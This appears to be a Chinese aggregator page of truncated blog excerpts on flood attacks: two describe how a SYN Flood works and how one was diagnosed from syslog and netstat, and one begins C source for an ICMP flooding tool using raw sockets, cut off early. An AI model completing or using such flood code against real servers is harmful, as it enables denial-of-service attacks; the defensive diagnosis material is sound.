洪水攻击

TCP洪水攻击(SYN Flood)的诊断和处理

。_饼干妹妹 提交于 2019-12-23 21:14:24
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 1. SYN Flood介绍 前段时间网站被攻击多次,其中最猛烈的就是TCP洪水攻击,即SYN Flood。 SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,常用假冒的IP或IP号段发来海量的请求连接的第一个握手包(SYN包),被攻击服务器回应第二个握手包(SYN+ACK包),因为对方是假冒IP,对方永远收不到包且不会回应第三个握手包。导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。 详细的原理,网上有很多介绍,应对办法也很多,但大部分没什么效果,这里介绍我们是如何诊断和应对的。 2. 诊断 我们看到业务曲线大跌时,检查机器和DNS,发现只是对外的web机响应慢、CPU负载高、ssh登陆慢甚至有些机器登陆不上,检查系统syslog: # tail -f /var/log/messages Apr 18 11:21:56 web5 kernel: possible SYN flooding on port 80. Sending cookies. 检查连接数增多,并且SYN

DOS攻击——ICMP报文洪水攻击

为君一笑 提交于 2019-12-05 03:13:11
代码 flooder.h #pragma once #include <iostream> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <arpa/inet.h> #include <linux/types.h> #include <string.h> #include <unistd.h> #include <pthread.h> __u32 share_dst_ip; __s32 share_pk_size; __s8 *share_pk; void *floodFunction(void *data) { __s32 sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!sock) { return 0; } int val = 1; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val)) == -1) { close(sock); return 0; } if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &val, sizeof(val)

洪水攻击

穿精又带淫゛_ 提交于 2019-11-30 22:46:04
TCP洪水攻击(SYN Flood)的诊断和处理 2013-09-04 11:25:27 收藏 我要投稿 攻击原理: SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,常用假冒的IP或IP号段发来海量的请求连接的第一个握手包(SYN包),被攻击服务器回应第二个握手包(SYN+ACK包),因为对方是假冒IP,对方永远收不到包且不会回应第三个握手包。导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。 诊断: 我们看到业务曲线大跌时,检查机器和DNS,发现只是对外的web机响应慢、CPU负载高、ssh登陆慢甚至有些机器登陆不上,检查 系统 syslog: # tail -f /var/log/messages Apr 18 11:21:56 web5 kernel: possible SYN flooding on port 80. Sending cookies. 检查连接数增多,并且SYN_RECV 连接特别多: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # netstat -n